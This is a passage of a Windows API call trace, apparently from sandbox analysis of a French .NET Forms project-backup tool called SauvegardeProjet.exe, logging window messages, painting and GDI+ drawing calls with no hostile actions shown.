CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x301bc, Msg=0x128, wParam=0x30001, lParam=0x0) returned 0x0 [0045.715] RedrawWindow (hWnd=0x301bc, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0045.715] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x301da, Msg=0x128, wParam=0x30001, lParam=0x0) returned 0x0 [0045.715] RedrawWindow (hWnd=0x301da, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0045.715] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x201e2, Msg=0x128, wParam=0x30001, lParam=0x0) returned 0x0 [0045.715] RedrawWindow (hWnd=0x201e2, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0045.715] CallWindowProcW (lpPrevWndFunc=0x73cbb495, hWnd=0x201e4, Msg=0x128, wParam=0x30001, lParam=0x0) returned 0x0 [0045.715] RedrawWindow (hWnd=0x201e4, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0045.715] RedrawWindow (hWnd=0x50120, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0045.715] GetWindow (hWnd=0x201e4, uCmd=0x3) returned 0x201e2 [0045.715] GetClientRect (in: hWnd=0x201e4, lpRect=0x32e474 | out: lpRect=0x32e474) returned 1 [0045.715] GetWindowRect (in: hWnd=0x201e4, lpRect=0x32e474 | out: lpRect=0x32e474) returned 1 [0045.715] GetParent (hWnd=0x201e4) returned 0x50120 [0045.715] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x50120, lpPoints=0x32e474, cPoints=0x2 | out: lpPoints=0x32e474) returned -7405888 [0045.715] SetWindowTextW (hWnd=0x201e4, lpString="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e") returned 1 [0045.715] CallWindowProcW (lpPrevWndFunc=0x73cbb495, hWnd=0x201e4, Msg=0xc, wParam=0x0, lParam=0x258d5b4) returned 0x1 [0045.715] CallWindowProcW (lpPrevWndFunc=0x73cbb495, hWnd=0x201e4, Msg=0x5, wParam=0x0, lParam=0x1d00a3) returned 0x0 [0045.716] CallWindowProcW (lpPrevWndFunc=0x73cbb495, hWnd=0x201e4, Msg=0x3, wParam=0x0, lParam=0x15015e) returned 0x0 [0045.716] GetClientRect (in: hWnd=0x201e4, lpRect=0x32e4cc | out: lpRect=0x32e4cc) returned 1 [0045.716] GetWindowRect (in: hWnd=0x201e4, lpRect=0x32e4cc | out: lpRect=0x32e4cc) returned 1 [0045.716] GetParent (hWnd=0x201e4) returned 0x50120 [0045.716] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x50120, lpPoints=0x32e4cc, cPoints=0x2 | out: lpPoints=0x32e4cc) returned -7405888 [0045.716] SendMessageW (hWnd=0x201e4, Msg=0x2210, wParam=0x1e40001, lParam=0x201e4) returned 0x0 [0045.716] CallWindowProcW (lpPrevWndFunc=0x73cbb495, hWnd=0x201e4, Msg=0x2210, wParam=0x1e40001, lParam=0x201e4) returned 0x0 [0045.716] CallWindowProcW (lpPrevWndFunc=0x73cbb495, hWnd=0x201e4, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0045.716] GetParent (hWnd=0x201e4) returned 0x50120 [0045.717] GetWindowTextLengthW (hWnd=0x50120) returned 35 [0045.717] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0045.717] GetSystemMetrics (nIndex=42) returned 0 [0045.717] GetWindowTextW (in: hWnd=0x50120, lpString=0x32ec30, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0045.717] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0xd, wParam=0x24, lParam=0x32ec30) returned 0x23 [0046.409] QueryPerformanceFrequency (in: lpFrequency=0x155e98 | out: lpFrequency=0x155e98) returned 1 [0046.409] QueryPerformanceCounter (in: lpPerformanceCount=0x32ea98 | out: lpPerformanceCount=0x32ea98*=1812157000000) returned 1 [0046.410] CoTaskMemAlloc (cb=0x20c) returned 0x65d808 [0046.410] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x65d808, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\SauvegardeProjet.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\sauvegardeprojet.exe")) returned 0x3a [0046.410] CoTaskMemFree (pv=0x65d808) [0046.411] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\SauvegardeProjet.exe", nBufferLength=0x105, lpBuffer=0x32e560, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\SauvegardeProjet.exe", lpFilePart=0x0) returned 0x3a [0046.411] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x32e504, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0046.438] SetForegroundWindow (hWnd=0x50120) returned 1 [0046.439] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0x46, wParam=0x0, lParam=0x32ec30) returned 0x0 [0046.439] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x301b4, Msg=0x46, wParam=0x0, lParam=0x32ec30) returned 0x0 [0046.440] GetWindowPlacement (in: hWnd=0x50120, lpwndpl=0x32e9e0 | out: lpwndpl=0x32e9e0) returned 1 [0046.440] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0x47, wParam=0x0, lParam=0x32ec30) returned 0x0 [0046.440] GetClientRect (in: hWnd=0x50120, lpRect=0x32e990 | out: lpRect=0x32e990) returned 1 [0046.440] GetWindowRect (in: hWnd=0x50120, lpRect=0x32e990 | out: lpRect=0x32e990) returned 1 [0046.440] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0x1c, wParam=0x1, lParam=0x404) returned 0x0 [0046.440] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x301b4, Msg=0x1c, wParam=0x1, lParam=0x404) returned 0x0 [0046.440] NtdllDefWindowProc_W () returned 0x0 [0046.440] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0x86, wParam=0x1, lParam=0x0) returned 0x1 [0046.443] OleInitialize (pvReserved=0x0) returned 0x0 [0046.443] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x32e9f0 | out: lplpMessageFilter=0x32e9f0*=0x0) returned 0x0 [0046.444] InvalidateRect (hWnd=0x201e4, lpRect=0x0, bErase=0) returned 1 [0046.444] GetFocus () returned 0x0 [0046.444] SetFocus (hWnd=0x201e4) returned 0x0 [0048.188] CallWindowProcW (lpPrevWndFunc=0x73cbb495, hWnd=0x201e4, Msg=0x281, wParam=0x1, lParam=0xc000000f) returned 0x0 [0048.189] CallWindowProcW (lpPrevWndFunc=0x73cbb495, hWnd=0x201e4, Msg=0x282, wParam=0x2, lParam=0x0) returned 0x0 [0048.189] GetKeyboardLayout (idThread=0x0) returned 0x4090409 [0048.190] GetParent (hWnd=0x50120) returned 0x0 [0048.190] CallWindowProcW (lpPrevWndFunc=0x73cbb495, hWnd=0x201e4, Msg=0x7, wParam=0x0, lParam=0x0) returned 0x0 [0048.359] InvalidateRect (hWnd=0x201e4, lpRect=0x0, bErase=0) returned 1 [0048.359] InvalidateRect (hWnd=0x301b0, lpRect=0x0, bErase=1) returned 1 [0048.359] InvalidateRect (hWnd=0x301ac, lpRect=0x0, bErase=1) returned 1 [0048.359] InvalidateRect (hWnd=0x301b2, lpRect=0x0, bErase=1) returned 1 [0048.359] InvalidateRect (hWnd=0x301ae, lpRect=0x0, bErase=1) returned 1 [0048.359] InvalidateRect (hWnd=0x201e8, lpRect=0x0, bErase=1) returned 1 [0048.359] InvalidateRect (hWnd=0x201e6, lpRect=0x0, bErase=1) returned 1 [0048.359] InvalidateRect (hWnd=0x501b8, lpRect=0x0, bErase=1) returned 1 [0048.359] InvalidateRect (hWnd=0x301bc, lpRect=0x0, bErase=1) returned 1 [0048.359] InvalidateRect (hWnd=0x301da, lpRect=0x0, bErase=1) returned 1 [0048.360] InvalidateRect (hWnd=0x201e2, lpRect=0x0, bErase=1) returned 1 [0048.360] InvalidateRect (hWnd=0x201e4, lpRect=0x0, bErase=0) returned 1 [0048.360] GetWindowThreadProcessId (in: hWnd=0x50120, lpdwProcessId=0x32ecd4 | out: lpdwProcessId=0x32ecd4) returned 0x420 [0048.360] GetCurrentThreadId () returned 0x420 [0048.360] RegisterClipboardFormatW (lpszFormat="WindowsForms12_ThreadCallbackMessage") returned 0xc13f [0048.361] PostMessageW (hWnd=0x50120, Msg=0xc13f, wParam=0x0, lParam=0x0) returned 1 [0048.361] GetWindowTextLengthW (hWnd=0x50120) returned 35 [0048.361] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0048.361] GetSystemMetrics (nIndex=42) returned 0 [0048.361] GetWindowTextW (in: hWnd=0x50120, lpString=0x32ec18, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0048.361] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0xd, wParam=0x24, lParam=0x32ec18) returned 0x23 [0048.361] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0x46, wParam=0x0, lParam=0x32f068) returned 0x0 [0048.361] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x301b4, Msg=0x46, wParam=0x0, lParam=0x32f068) returned 0x0 [0048.372] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0048.384] GetWindowPlacement (in: hWnd=0x50120, lpwndpl=0x32ee30 | out: lpwndpl=0x32ee30) returned 1 [0048.384] GetClientRect (in: hWnd=0x50120, lpRect=0x32eddc | out: lpRect=0x32eddc) returned 1 [0048.384] GetWindowTextLengthW (hWnd=0x50120) returned 35 [0048.385] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0048.385] GetSystemMetrics (nIndex=42) returned 0 [0048.385] GetWindowTextW (in: hWnd=0x50120, lpString=0x32ec6c, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0048.385] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0xd, wParam=0x24, lParam=0x32ec6c) returned 0x23 [0048.385] GetClientRect (in: hWnd=0x50120, lpRect=0x32ece4 | out: lpRect=0x32ece4) returned 1 [0048.388] EnumDisplayMonitors (hdc=0x0, lprcClip=0x0, lpfnEnum=0xdab3f6, dwData=0x0) returned 1 [0048.388] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0x32e94c | out: lpmi=0x32e94c) returned 1 [0048.388] CreateDCW (pwszDriver="\\\\.\\DISPLAY1", pwszDevice=0x0, pszPort=0x0, pdm=0x0) returned 0x2a010808 [0048.388] GetDeviceCaps (hdc=0x2a010808, index=12) returned 32 [0048.388] GetDeviceCaps (hdc=0x2a010808, index=14) returned 1 [0048.388] DeleteDC (hdc=0x2a010808) returned 1 [0048.389] GetCurrentObject (hdc=0x2010847, type=0x1) returned 0x1b00017 [0048.389] GetCurrentObject (hdc=0x2010847, type=0x2) returned 0x1900010 [0048.389] GetCurrentObject (hdc=0x2010847, type=0x7) returned 0x13050829 [0048.389] GetCurrentObject (hdc=0x2010847, type=0x6) returned 0x18a002e [0048.389] SaveDC (hdc=0x2010847) returned 1 [0048.389] GetNearestColor (hdc=0x2010847, color=0xf0f0f0) returned 0xf0f0f0 [0048.390] CreateSolidBrush (color=0xf0f0f0) returned 0x610084d [0048.390] FillRect (hDC=0x2010847, lprc=0x32eb84, hbr=0x610084d) returned 1 [0048.434] DeleteObject (ho=0x610084d) returned 1 [0048.434] RestoreDC (hdc=0x2010847, nSavedDC=-1) returned 1 [0048.455] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x301b0, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0048.455] CallWindowProcW (lpPrevWndFunc=0x73d269b9, hWnd=0x301ac, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0048.479] CallWindowProcW (lpPrevWndFunc=0x73d269b9, hWnd=0x301ac, Msg=0x14, wParam=0x2010847, lParam=0x0) returned 0x1 [0048.479] SetTextColor (hdc=0x2010847, color=0x0) returned 0x0 [0048.479] SetBkColor (hdc=0x2010847, color=0xffffff) returned 0xffffff [0048.483] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x301ae, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0048.483] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x201e6, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0048.483] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x301bc, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0048.484] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x201e2, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0048.484] CallWindowProcW (lpPrevWndFunc=0x73cbb495, hWnd=0x201e4, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0048.484] CallWindowProcW (lpPrevWndFunc=0x73cbb495, hWnd=0x201e4, Msg=0x14, wParam=0x1010830, lParam=0x0) returned 0x1 [0048.484] GetStockObject (i=5) returned 0x1900015 [0048.484] GetWindowPlacement (in: hWnd=0x50120, lpwndpl=0x32ee18 | out: lpwndpl=0x32ee18) returned 1 [0048.485] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0x47, wParam=0x0, lParam=0x32f068) returned 0x0 [0048.485] GetClientRect (in: hWnd=0x50120, lpRect=0x32edc8 | out: lpRect=0x32edc8) returned 1 [0048.485] GetWindowRect (in: hWnd=0x50120, lpRect=0x32edc8 | out: lpRect=0x32edc8) returned 1 [0048.485] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0x5, wParam=0x0, lParam=0x28d0320) returned 0x0 [0048.485] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0x3, wParam=0x0, lParam=0x720140) returned 0x0 [0048.485] GetClientRect (in: hWnd=0x50120, lpRect=0x32edf4 | out: lpRect=0x32edf4) returned 1 [0048.485] GetWindowRect (in: hWnd=0x50120, lpRect=0x32edf4 | out: lpRect=0x32edf4) returned 1 [0048.486] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 1 [0048.486] IsWindowUnicode (hWnd=0x301ac) returned 1 [0048.486] GetMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x32f158) returned 1 [0048.487] TranslateMessage (lpMsg=0x32f158) returned 0 [0048.487] DispatchMessageW (lpMsg=0x32f158) returned 0x0 [0048.487] CallWindowProcW (lpPrevWndFunc=0x73d269b9, hWnd=0x301ac, Msg=0x5, wParam=0x0, lParam=0x0) returned 0x0 [0048.528] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 1 [0048.528] GetMessageA (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x32f158) returned 1 [0048.528] TranslateMessage (lpMsg=0x32f158) returned 0 [0048.528] DispatchMessageA (lpMsg=0x32f158) returned 0x0 [0048.528] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 1 [0048.528] IsWindowUnicode (hWnd=0x50120) returned 1 [0048.528] GetMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x32f158) returned 1 [0048.528] TranslateMessage (lpMsg=0x32f158) returned 0 [0048.528] DispatchMessageW (lpMsg=0x32f158) returned 0x0 [0048.529] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 1 [0048.529] IsWindowUnicode (hWnd=0x50120) returned 1 [0048.529] GetMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x32f158) returned 1 [0048.529] TranslateMessage (lpMsg=0x32f158) returned 0 [0048.529] DispatchMessageW (lpMsg=0x32f158) returned 0x0 [0048.529] BeginPaint (in: hWnd=0x50120, lpPaint=0x32ec64 | out: lpPaint=0x32ec64) returned 0x2010847 [0048.530] GdipCreateHalftonePalette () returned 0x1d080842 [0048.530] SelectPalette (hdc=0x2010847, hPal=0x1d080842, bForceBkgd=1) returned 0x188000b [0048.530] GetWindowTextLengthW (hWnd=0x50120) returned 35 [0048.530] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0048.531] GetSystemMetrics (nIndex=42) returned 0 [0048.531] GetWindowTextW (in: hWnd=0x50120, lpString=0x32ebc4, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0048.531] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0xd, wParam=0x24, lParam=0x32ebc4) returned 0x23 [0048.531] SelectPalette (hdc=0x2010847, hPal=0x188000b, bForceBkgd=0) returned 0x1d080842 [0048.531] EndPaint (hWnd=0x50120, lpPaint=0x32ec60) returned 1 [0048.531] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 1 [0048.531] IsWindowUnicode (hWnd=0x301b0) returned 1 [0048.531] GetMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x32f158) returned 1 [0048.531] TranslateMessage (lpMsg=0x32f158) returned 0 [0048.531] DispatchMessageW (lpMsg=0x32f158) returned 0x0 [0048.531] BeginPaint (in: hWnd=0x301b0, lpPaint=0x32ec48 | out: lpPaint=0x32ec48) returned 0x1010830 [0048.531] SelectPalette (hdc=0x1010830, hPal=0x1d080842, bForceBkgd=1) returned 0x188000b [0048.532] CreateCompatibleDC (hdc=0x1010830) returned 0x901084c [0048.532] GetObjectType (h=0x1010830) returned 0x3 [0048.532] CreateCompatibleBitmap (hdc=0x1010830, cx=1, cy=1) returned 0x30050808 [0048.533] GetDIBits (in: hdc=0x1010830, hbm=0x30050808, start=0x0, cLines=0x0, lpvBits=0x0, lpbmi=0x32e738, usage=0x0 | out: lpvBits=0x0, lpbmi=0x32e738) returned 1 [0048.533] GetDIBits (in: hdc=0x1010830, hbm=0x30050808, start=0x0, cLines=0x1, lpvBits=0x0, lpbmi=0x32e738, usage=0x0 | out: lpvBits=0x0, lpbmi=0x32e738) returned 1 [0048.533] DeleteObject (ho=0x30050808) returned 1 [0048.533] CreateDIBSection (in: hdc=0x1010830, lpbmi=0x32e788, usage=0x0, ppvBits=0x32ec7c, hSection=0x0, offset=0x0 | out: ppvBits=0x32ec7c) returned 0x6e050254 [0048.534] SelectObject (hdc=0x901084c, h=0x6e050254) returned 0x185000f [0048.534] GdipCreateFromHDC (hdc=0x901084c, graphics=0x32ec60) returned 0x0 [0048.534] GdipTranslateWorldTransform (graphics=0x4c34c00, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0048.534] GdipSetClipRectI (graphics=0x4c34c00, x=0, y=0, width=139, height=13, combineMode=0x0) returned 0x0 [0048.541] GdipCreateMatrix (matrix=0x32eca8) returned 0x0 [0048.541] GdipGetWorldTransform (graphics=0x4c34c00, matrix=0x4c34ee0) returned 0x0 [0048.544] GdipIsMatrixIdentity (matrix=0x4c34ee0, result=0x32ecc0) returned 0x0 [0048.545] GdipGetMatrixElements (matrix=0x4c34ee0, matrixOut=0x606620) returned 0x0 [0048.545] LocalFree (hMem=0x606620) returned 0x0 [0048.545] GdipDeleteMatrix (matrix=0x4c34ee0) returned 0x0 [0048.545] GdipCreateRegion (region=0x32eca8) returned 0x0 [0048.546] GdipGetClip (graphics=0x4c34c00, region=0x4c34f10) returned 0x0 [0048.546] GdipIsInfiniteRegion (region=0x4c34f10, graphics=0x4c34c00, result=0x32ecb4) returned 0x0 [0048.546] GdipSaveGraphics (graphics=0x4c34c00, state=0x32ece0) returned 0x0 [0048.546] GetWindowTextLengthW (hWnd=0x301b0) returned 22 [0048.546] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x301b0, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x16 [0048.546] GetSystemMetrics (nIndex=42) returned 0 [0048.546] GetWindowTextW (in: hWnd=0x301b0, lpString=0x32ebcc, nMaxCount=23 | out: lpString="Arborescence du projet") returned 22 [0048.546] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x301b0, Msg=0xd, wParam=0x17, lParam=0x32ebcc) returned 0x16 [0048.546] GetClientRect (in: hWnd=0x301b0, lpRect=0x32eca8 | out: lpRect=0x32eca8) returned 1 [0048.547] GdipCreateRegion (region=0x32eafc) returned 0x0 [0048.547] GdipGetClip (graphics=0x4c34c00, region=0x4c35200) returned 0x0 [0048.547] GdipCreateMatrix (matrix=0x32eafc) returned 0x0 [0048.547] GdipGetWorldTransform (graphics=0x4c34c00, matrix=0x4c35290) returned 0x0 [0048.547] GdipIsMatrixIdentity (matrix=0x4c35290, result=0x32eb14) returned 0x0 [0048.547] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x606620 [0048.547] GdipGetMatrixElements (matrix=0x4c35290, matrixOut=0x606620) returned 0x0 [0048.547] LocalFree (hMem=0x606620) returned 0x0 [0048.548] GdipCombineRegionRegion (region=0x4c35200, region2=0x4c34f10, combineMode=0x1) returned 0x0 [0048.548] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x606620 [0048.548] GdipGetMatrixElements (matrix=0x4c35290, matrixOut=0x606620) returned 0x0 [0048.548] LocalFree (hMem=0x606620) returned 0x0 [0048.548] GdipDeleteMatrix (matrix=0x4c35290) returned 0x0 [0048.548] GdipIsInfiniteRegion (region=0x4c35200, graphics=0x4c34c00, result=0x32eb3c) returned 0x0 [0048.548] GdipIsInfiniteRegion (region=0x4c35200, graphics=0x4c34c00, result=0x32eb2c) returned 0x0 [0048.548] GdipGetRegionHRgn (region=0x4c35200, graphics=0x4c34c00, hRgn=0x32eb2c) returned 0x0 [0048.549] GdipDeleteRegion (region=0x4c35200) returned 0x0 [0048.549] GdipGetDC (graphics=0x4c34c00, hdc=0x32eb44) returned 0x0 [0048.549] GetCurrentObject (hdc=0x901084c, type=0x1) returned 0x1b00017 [0048.549] GetCurrentObject (hdc=0x901084c, type=0x2) returned 0x1900010 [0048.549] GetCurrentObject (hdc=0x901084c, type=0x7) returned 0x6e050254 [0048.549] GetCurrentObject (hdc=0x901084c, type=0x6) returned 0x18a002e [0048.549] SaveDC (hdc=0x901084c) returned 1 [0048.549] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x140401e3 [0048.550] GetClipRgn (hdc=0x901084c, hrgn=0x140401e3) returned 0 [0048.550] SelectClipRgn (hdc=0x901084c, hrgn=0x3804025c) returned 2 [0048.550] DeleteObject (ho=0x140401e3) returned 1 [0048.550] DeleteObject (ho=0x3804025c) returned 1 [0048.551] OffsetViewportOrgEx (in: hdc=0x901084c, x=0, y=0, lppt=0x25ba590 | out: lppt=0x25ba590) returned 1 [0048.551] GetNearestColor (hdc=0x901084c, color=0xf0f0f0) returned 0xf0f0f0 [0048.551] CreateSolidBrush (color=0xf0f0f0) returned 0x710084d [0048.551] FillRect (hDC=0x901084c, lprc=0x32eb48, hbr=0x710084d) returned 1 [0048.551] DeleteObject (ho=0x710084d) returned 1 [0048.551] RestoreDC (hdc=0x901084c, nSavedDC=-1) returned 1 [0048.551] GdipReleaseDC (graphics=0x4c34c00, hdc=0x901084c) returned 0x0 [0048.551] GdipRestoreGraphics (graphics=0x4c34c00, state=0xfdb70dbd) returned 0x0 [0048.551] GdipDeleteRegion (region=0x4c34f10) returned 0x0 [0048.552] GetWindowTextLengthW (hWnd=0x301b0) returned 22 [0048.552] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x301b0, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x16 [0048.552] GetSystemMetrics (nIndex=42) returned 0 [0048.552] GetWindowTextW (in: hWnd=0x301b0, lpString=0x32ebcc, nMaxCount=23 | out: lpString="Arborescence du projet") returned 22 [0048.552] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x301b0, Msg=0xd, wParam=0x17, lParam=0x32ebcc) returned 0x16 [0048.552] GdipGetDC (graphics=0x4c34c00, hdc=0x32eb64) returned 0x0 [0048.552] GetCurrentObject (hdc=0x901084c, type=0x1) returned 0x1b00017 [0048.552] GetCurrentObject (hdc=0x901084c, type=0x2) returned 0x1900010 [0048.552] GetCurrentObject (hdc=0x901084c, type=0x7) returned 0x6e050254 [0048.553] GetCurrentObject (hdc=0x901084c, type=0x6) returned 0x18a002e [0048.553] SaveDC (hdc=0x901084c) returned 1 [0048.553] GetNearestColor (hdc=0x901084c, color=0x0) returned 0x0 [0048.553] RestoreDC (hdc=0x901084c, nSavedDC=-1) returned 1 [0048.553] GdipReleaseDC (graphics=0x4c34c00, hdc=0x901084c) returned 0x0 [0048.553] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73c90000 [0048.553] AdjustWindowRectEx (in: lpRect=0x32ea88, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32ea88) returned 1 [0048.554] GdipGetTextRenderingHint (graphics=0x4c34c00, mode=0x32eb04) returned 0x0 [0048.554] GdipGetDC (graphics=0x4c34c00, hdc=0x32eaf0) returned 0x0 [0048.554] GetCurrentObject (hdc=0x901084c, type=0x1) returned 0x1b00017 [0048.554] GetCurrentObject (hdc=0x901084c, type=0x2) returned 0x1900010 [0048.554] GetCurrentObject (hdc=0x901084c, type=0x7) returned 0x6e050254 [0048.554] GetCurrentObject (hdc=0x901084c, type=0x6) returned 0x18a002e [0048.554] SaveDC (hdc=0x901084c) returned 1 [0048.555] GetTextAlign (hdc=0x901084c) returned 0x0 [0048.555] GetTextColor (hdc=0x901084c) returned 0x0 [0048.555] GetCurrentObject (hdc=0x901084c, type=0x6) returned 0x18a002e [0048.555] GetObjectW (in: h=0x18a002e, c=92, pv=0x32e7f8 | out: pv=0x32e7f8) returned 92 [0048.555] SelectObject (hdc=0x901084c, h=0x100a0252) returned 0x18a002e [0048.555] GetBkMode (hdc=0x901084c) returned 2 [0048.555] SetBkMode (hdc=0x901084c, mode=1) returned 2 [0048.555] DrawTextExW (in: hdc=0x901084c, lpchText="Arborescence du projet", cchText=22, lprc=0x32ea84, format=0x100000, lpdtp=0x25baabc | out: lpchText="Arborescence du projet", lprc=0x32ea84) returned 13 [0048.557] RestoreDC (hdc=0x901084c, nSavedDC=-1) returned 1 [0048.557] GdipReleaseDC (graphics=0x4c34c00, hdc=0x901084c) returned 0x0 [0048.557] GdipGetDC (graphics=0x4c34c00, hdc=0x32eca0) returned 0x0 [0048.558] BitBlt (hdc=0x1010830, x=0, y=0, cx=139, cy=13, hdcSrc=0x901084c, x1=0, y1=0, rop=0xcc0020) returned 1 [0048.558] GdipReleaseDC (graphics=0x4c34c00, hdc=0x901084c) returned 0x0 [0048.558] SelectPalette (hdc=0x1010830, hPal=0x188000b, bForceBkgd=0) returned 0x1d080842 [0048.558] SelectObject (hdc=0x901084c, h=0x185000f) returned 0x6e050254 [0048.558] DeleteDC (hdc=0x901084c) returned 1 [0048.558] GdipDeleteGraphics (graphics=0x4c34c00) returned 0x0 [0048.558] EndPaint (hWnd=0x301b0, lpPaint=0x32ec44) returned 1 [0048.559] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 1 [0048.559] IsWindowUnicode (hWnd=0x301ac) returned 1 [0048.559] GetMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x32f158) returned 1 [0048.559] TranslateMessage (lpMsg=0x32f158) returned 0 [0048.559] DispatchMessageW (lpMsg=0x32f158) returned 0x0 [0048.559] CallWindowProcW (lpPrevWndFunc=0x73d269b9, hWnd=0x301ac, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0048.559] SetTextColor (hdc=0x3010821, color=0x0) returned 0x0 [0048.559] SetBkColor (hdc=0x3010821, color=0xffffff) returned 0xffffff [0048.561] PeekMessageW (in: 